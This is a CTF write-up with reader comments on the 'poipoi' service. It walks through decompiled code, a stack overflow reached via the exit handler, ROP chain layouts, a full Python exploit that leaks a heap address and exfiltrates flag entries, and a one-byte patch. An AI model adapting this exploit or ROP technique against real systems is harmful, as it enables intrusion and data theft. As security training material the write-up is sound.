The poipoi service listens on port 3335 as a classic accept/fork server. A simple netcat connection displays a menu but the protocol seems a bit more complicated:
The service manages users and POIs (Points of Interest I guess). The child connection handler is execute_service():
void __cdecl execute_service() { char *v0; // eax@3 int v1; // [sp+1Ch] [bp-Ch]@1 while ( 1 ) { send_main_screen(); v1 = recv_cmd(); if ( v1 <= 0 ) break; send_msg("ACK_OK"); if ( (*(int (__cdecl **)(_DWORD))&f_array[4 * v1])(user_id) < 0 ) goto LABEL_7; } if ( v1 ) v0 = "Protocol error. Too many chars provided."; else v0 = "Invalid requested operation."; send_msg(v0); LABEL_7: exit(0); }
The recv_cmd starts with a 4 bytes, little-endian integer recv that has to be equal to 1 or a negative value is returned. A second one reads only one byte -the user's choice- that gets translated by the get_opt function to an integer: LRHEGAYNT becomes 1,2,...,9. This value is returned by the recv_cmd, or 0 for an unrecognized choice.
So f_array is an array containing the function pointers for each one of the 9 possible menu choices. This array is initialized in init_system. Surprisingly, only the options 1 to 6 are set, and the others point to random data : the server's process id, the cleaner's pid -a forked process responsible for periodically cleaning the databases- and the server's socket fd.
Menu handlers are passed a global variable named user_id as their unique parameter. From the send_login/send_registration couple we can easily identify the format of the users db, user.dat. Not much to say about it. add_poi allows an authentified user to add an entry to the poi database poi.dat. An entry contains random information about the POI, as well as the user's id and the POI's description (the flag). send_poi displays all POIs linked to the current user.
The vulnerability we exploited was well hidden within a subcall of the help handler, the send_pag_help function:
signed int __cdecl send_pag_help(unsigned int arg_menu_id) { char name_beginning; // [sp+18h] [bp-10h]@3 int var_menu_id; // [sp+1Ch] [bp-Ch]@5 if ( arg_menu_id <= 9 ) JUMPOUT(__CS__, (unsigned int)off_804DAE0[arg_menu_id]); send_msg("\nFunctionality not found, [...]:\n"); if ( recv_msg(&name_beginning, 50) >= 0 ) { var_menu_id = get_func_id(&name_beginning); if ( var_menu_id ) { send_pag_help(var_menu_id); result = 1; } else { send_msg("Functionality does not exist."); result = -3; } } else { send_msg("Protocol error. Too many chars provided."); result = -2; } return result; }
name_beginning is only 1 byte and the recv_msg call asks for up to 50 bytes, causing a potential stack overflow. This chunk is only executed if arg_menu_id is 0,7,8 or > 9 though, and the caller -send_help- cannot call send_pag_help with one of those values.
Checking the cross references to send_pag_help displays another call path, from the exit handler:
signed int __cdecl send_exit() { send_msg("[...]Are you sure you want to exit [y/n]: "); v0 = recv_cmd(); if ( v0 == 7 ) return -6; if ( v0 != 8 ) { if ( v0 == -2 ) return -6; send_pag_help(0); } return 1; }
And this one can trigger the overflow.
The sploit has to disclose the POI entries for a specific user, and there are multiple ways to achieve this. The simpler would be to call send_poi directly that does basically exactly what we want. In this case the stack would be 0x14 junk bytes + send_poi address + 4 junk bytes + user id.
Another way, a bit stealthier, is to overwrite the user_id global variable and return to the menu as if nothing happened, and finally get the POIs through normal usage. The stack would look like 0x14 junk + recv_plt + execute_service address + 4 (fd) + user_id address + 4 + 0. As pretty much everything is stored as global variables there isn't any stack corruption to worry about.
I eventually used a slightly trickier way to prevent copy/pasted exploits: I used list_info, the main subcall of send_poi, whose job is to retrieve the POIs of a specific user id and place them in a malloced buffer. list_info's second parameter is a pointer that is eventually replaced by the malloced buffer's address. So the exploit calls list_info with an arbitary fixed bss address as its second parameter, then retriggers the vuln to leak this address, then retriggers the vuln to finally disclose the user's POIs:
#!/usr/bin/python import socket import select import struct import re def timeout_recv(s): txt = "" while 1: sel = select.select([s], [], [], 0.5) if len(sel[0]) == 0: break else: c = sel[0][0].recv(1) if len(c) == 0: break txt += c return txt class Exploit(): def execute(self, ip, port, flag_id): s = socket.socket() s.connect((ip,port)) s.sendall(struct.pack("<I", 1) + "E" + struct.pack("<I", 1) + "L") def do_rop(s, chain): payload = "A"*0x14 + "".join([struct.pack("<I", x) for x in chain]) s.sendall(struct.pack("<I", len(payload))) s.sendall(payload) list_poi = 0x080496c8 restart_vuln = 0x804B8B5 bss_buf = 0x080500b8 + 0x100 send_plt = 0x08048a10 fd = 4 do_rop(s, [list_poi, restart_vuln, int(flag_id), bss_buf]) do_rop(s, [send_plt, restart_vuln, fd, bss_buf, 4, 0]) addr = struct.unpack("<I", re.search("does not exist.*Functionality does not exist\.(....)", timeout_recv(s), re.DOTALL).group(1))[0] do_rop(s, [send_plt, restart_vuln, fd, addr, 0x1000, 0]) self.flag = re.findall("(FLG\w{13})",timeout_recv(s))[-1] def result(self): return {'FLAG' : self.flag } if __name__ == "__main__": x = Exploit() x.execute("localhost", 3335, "1") print x.result()["FLAG"]
As the malloced buffer's address should be different from team to team, a spotted exploitation cannot be reused as is.
One just has to change the 0x32 in the mov instruction at 0x0804b968 -the parameter for the recv_msg call- to any value from 3 to 0x10 to prevent the stack overflow.
Génial merci beaucoup
beautiful
Thank you!
fd = 8 strikes as a run within a debugger to me. But you're right anyway, especially since it was reachable at a fixed address here.
Nice writeup ;)
We were the first team who exploitet this vuln (But I just used send_poi(user_id) because I thought this is harder to get from wireshark).
But your solution is really more stealth but while trying to replicate your exploit I noticed that hardcoding fd = 4 is not an good idea. I always have fd = 8, thus maybe your exploit didn't worked for some teams because of the wrong fd. Maybe it's better to restore fd instead of hardcoding it.
best regards,
Juggl3r
Nice job on the chall, it did fit perfectly in this ictf :)